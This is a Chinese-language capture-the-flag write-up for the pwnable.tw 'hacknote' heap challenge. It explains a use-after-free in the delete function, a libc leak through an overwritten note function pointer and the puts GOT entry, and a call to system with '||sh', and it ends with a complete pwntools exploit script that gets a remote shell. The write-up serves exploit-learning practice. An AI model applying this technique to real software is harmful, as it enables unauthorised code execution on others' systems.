前言
回顾经典老题。
一、Pwnable-hacknote
1.检查保护
32位没开PIE,堆题一般全开。
2.IDA分析
①太经典辣,堆菜单题。三个功能,add、delete和show。
②看堆题先看delete,果然free后没有置空,存在UAF漏洞。
③观察add函数,ptr数组每个单元0x8大小,前4用来存note指针,发现了sub_804862B函数puts指针,可以用来泄露libc。
3.漏洞利用:
①add两个fastbin chunk,0x8<size=<0x80
②delete上边两个chunk,虽然free了但是没置0
③add一个size为8的chunk2,content为p32(0x0804862b)+函数got地址
④show(0),由于delete没有置空,ptr中还存放着note原来的地址,我们新加入的chunk2覆盖了chunk0的ptr,当show(0)时直接调用了0x0804862b输出了函数libc地址。
⑤操作如上,我们通过偏移找到system地址,调用system执行system(sh)
4.EXP
#!/usr/bin/env python3
# coding = utf-8
from pwn import *
context(arch = "i386", os = "linux", log_level = "debug")
def send_choice(choice):
p.recvuntil('choice :')
p.sendline(str(choice))
def add(size,content):
send_choice(1)
p.recvuntil('size :')
p.sendline(str(size))
p.recvuntil('Content :')
p.sendline(content)
def delete(index):
send_choice(2)
p.recvuntil('Index :')
p.sendline(str(index))
def show(index):
send_choice(3)
p.recvuntil('Index :')
p.sendline(str(index))
#p = process('./hacknote')
p = remote("chall.pwnable.tw",10102)
elf = ELF('./hacknote')
libc=ELF("./libc_32.so.6")
#gdb.attach(p, "")
add(0x20, b'0')#0
add(0x20, b'1')#1
delete(0)
delete(1)
payload = p32(0x0804862b) + p32(elf.got['puts'])#leak libc
add(8, payload)
show(0)
libc_puts = u32(p.recv(4))
libc_base = libc_puts - libc.symbols['puts']
system = libc_base + libc.symbols['system']
delete(2)
payload = p32(system) + b'||sh'
add(0x8, payload)
show(0)
p.interactive()